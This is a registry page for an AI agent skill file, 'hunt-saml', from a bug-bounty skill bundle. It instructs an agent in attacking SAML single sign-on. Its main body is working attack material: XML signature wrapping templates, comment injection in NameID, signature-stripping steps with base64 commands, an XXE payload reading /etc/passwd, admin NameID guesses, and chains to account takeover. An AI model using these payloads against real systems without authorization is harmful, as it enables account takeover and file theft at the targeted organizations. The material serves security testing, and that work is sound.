hunt-saml
Skill4.8k starsChanged 5 months agoMITView on GitHub
Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation.
Trending
More talk lately.thin dataabout the whole repository
Who's talking about elementalsouls/Claude-BugHunter
- @camilleroux.com“Un bundle Claude Code pour le bug hunting : 51 skills, 15 slash commands, 681 patterns tirés de rapports …”Bluesky · Jun 7, 2026 · 5 likes
- @baumannzone.dev“Claude-BugHunter no es "otro prompt de seguridad". Reúne 83 skills que se cargan según la tarea, 15 …”Bluesky · Sep 2, 2026 · 3 likes
- A Hacker News story“Show HN: Claude Code Bundle for Bug Hunting with 574 Report Patterns”Hacker News · May 20, 2026 · 1 points
- uinstinct/aiskills“ai skills”GitHub · Oct 4, 2026
- sudosubin/agents.nix“agent-skills.github.elementalsouls.claude-bughunter: init at 2.1”GitHub · Sep 27, 2026
The biggest 5 of 7 mentions linking to the repository that our crawl found. Each line is their own headline.
See all 7
Talked about on GitHub, Bluesky and Hacker News (7 times).
On GitHub · 4
- Oct 4, 2026ai skills — uinstinct/aiskills0 reactions
- Sep 27, 2026agent-skills.github.elementalsouls.claude-bughunter: init at 2.1 — sudosubin/agents.nix0 reactions
- May 31, 2026feat: CLI tool for GitHub repository discovery and recommendation — humanaios-ui/operations0 reactions
- May 24, 2026Audit candidate: elementalsouls/Claude-BugHunter — xiaolai/nlpm0 reactions · 10 comments
On Bluesky · 2
- Jun 7, 2026Un bundle Claude Code pour le bug hunting : 51 skills, 15 slash commands, 681 patterns tirés de rapports HackerOne réels, couvrant 24… — @camilleroux.com5 likes and reposts · 1 reply
- Sep 2, 2026Claude-BugHunter no es "otro prompt de seguridad". Reúne 83 skills que se cargan según la tarea, 15 comandos y patrones de 681 reportes… — @baumannzone.dev3 likes and reposts
On Hacker News · 1
- May 20, 2026Show HN: Claude Code Bundle for Bug Hunting with 574 Report Patterns1 point · 1 comment
In this repository82 other files it gives its agents.
- apk-redteam-pipelineSkill
- bb-local-toolkitSkill
- bb-methodologySkill
- bug-bountySkill
- bugcrowd-reportingSkill
- cloud-iam-deepSkill
- enterprise-vpn-attackSkill
- evidence-hygieneSkill
- hunt-api-misconfigSkill
- hunt-aspnetSkill
- hunt-atoSkill
- hunt-auth-bypassSkill
- hunt-brute-forceSkill
- hunt-business-logicSkill
- hunt-cache-poisonSkill
- hunt-captcha-bypassSkill
- hunt-cicdSkill
- hunt-clickjackingSkill
- hunt-cloud-misconfigSkill
- hunt-corsSkill
- hunt-csrfSkill
- hunt-deserializationSkill
- hunt-dispatchSkill
- hunt-domSkill
- hunt-exceptional-conditionsSkill
- hunt-file-uploadSkill
- hunt-fintech-graphqlSkill
- hunt-forgot-passwordSkill
- hunt-graphqlSkill
- hunt-grpcSkill
- hunt-host-headerSkill
- hunt-html-injectionSkill
- hunt-http-smugglingSkill
- hunt-idorSkill
- hunt-jwt-cryptoSkill
- hunt-k8sSkill
- hunt-laravelSkill
- hunt-ldapSkill
- hunt-lfiSkill
- hunt-llm-aiSkill
- hunt-mfa-bypassSkill
- hunt-miscSkill
- hunt-nextjsSkill
- hunt-nodejsSkill
- hunt-nosqliSkill
- hunt-ntlm-infoSkill
- hunt-oauthSkill
- hunt-open-redirectSkill
- hunt-race-conditionSkill
- hunt-rag-vectorSkill
- hunt-rceSkill
- hunt-sessionSkill
- hunt-shadow-apiSkill
- hunt-sharepointSkill
- hunt-source-leakSkill
- hunt-spa-apiSkill
- hunt-springbootSkill
- hunt-sqliSkill
- hunt-ssrfSkill
- hunt-sstiSkill
- The first 60 shown.
The file
Files
20. SAML / SSO ATTACKS
SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
Attack Surface
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callbackAttack 1: XML Signature Wrapping (XSW)
<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>
<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
App processes the FIRST assertion found = evil. -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid --></ds:Signature>
</saml:Assertion>
</saml:Response>Attack 2: Comment Injection in NameID
<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
digest): "admin@company.com.evil.com" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->Attack 3: Signature Stripping
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATOAttack 4: XXE in SAML Assertion
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>Attack 5: NameID Manipulation
Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)Tools
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml # Re-encode
# URL-encode the result before sending as SAMLResponse parameterSAML Triage
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)Related Skills & Chains
hunt-ato— SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion withNameID=admin@target.comin primary position + SP processes first assertion (the evil one) + SP doesn't validate<AudienceRestriction>so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.hunt-auth-bypass— SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip<ds:Signature>element entirely → modify<NameID>to admin → re-encode base64 → POST to/saml/acs→ SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.hunt-oauth— SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.hunt-xxe— SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser withoutdisallow-doctype-decl+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>in assertion +<NameID>&xxe;</NameID>→ SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.security-arsenal— Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.triage-validation— Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

